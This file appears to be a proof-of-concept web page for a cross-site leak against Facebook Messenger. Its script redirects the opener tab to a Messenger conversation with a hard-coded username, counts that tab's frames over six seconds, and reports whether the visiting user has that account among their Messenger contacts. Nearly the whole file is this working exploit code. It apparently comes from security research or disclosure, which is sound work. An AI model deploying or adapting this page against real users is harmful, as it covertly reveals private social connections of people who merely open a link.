fb-msg-poc.html

## fb-msg-poc.html
<!DOCTYPE html>
<html lang="en">

<head>
    <title>2.html</title>
</head>

<body>
    <script type="text/javascript">
        const pattern = [];
        const backgroundTab = window.opener;

        const FACEBOOK_ID_OR_USERNAME = "ronmasas";

        backgroundTab.location = `https://messenger.com/t/${FACEBOOK_ID_OR_USERNAME}`;

        /**
         * Detect the "drop" pattern
         *
         * @returns {bool}
         */
        const hasDrop = (logs) => {
            let logsStr = logs.join('');
            let dropDetected = false;

            if (logsStr.match(/3{30,}2{1,4}3{30,}/i)) {
                dropDetected = true;
            }
            if (logsStr.match(/4{30,}3{1,4}4{30,}/i)) {
                dropDetected = true;
            }
            if (logsStr.match(/5{30,}4{1,4}5{30,}/i)) {
                dropDetected = true;
            }
            if (logsStr.match(/6{30,}5{1,4}6{30,}/i)) {
                dropDetected = true;
            }
            if (logsStr.match(/7{30,}6{1,4}7{30,}/i)) {
                dropDetected = true;
            }

            return dropDetected;
        };

        /**
         * Record frames count while the background tab redirects to Messenger
         */
        const recorder = setInterval(() => {
            pattern.push(backgroundTab.frames.length);
        }, 0);

        setTimeout(() => {
            // Stop the recorder
            clearInterval(recorder);
            // Output the result
            console.log(hasDrop(pattern) ? 'Not in Messenger contacts' : 'In Messenger contacts');
        }, 6 * 1000);
    </script>
</body>

</html>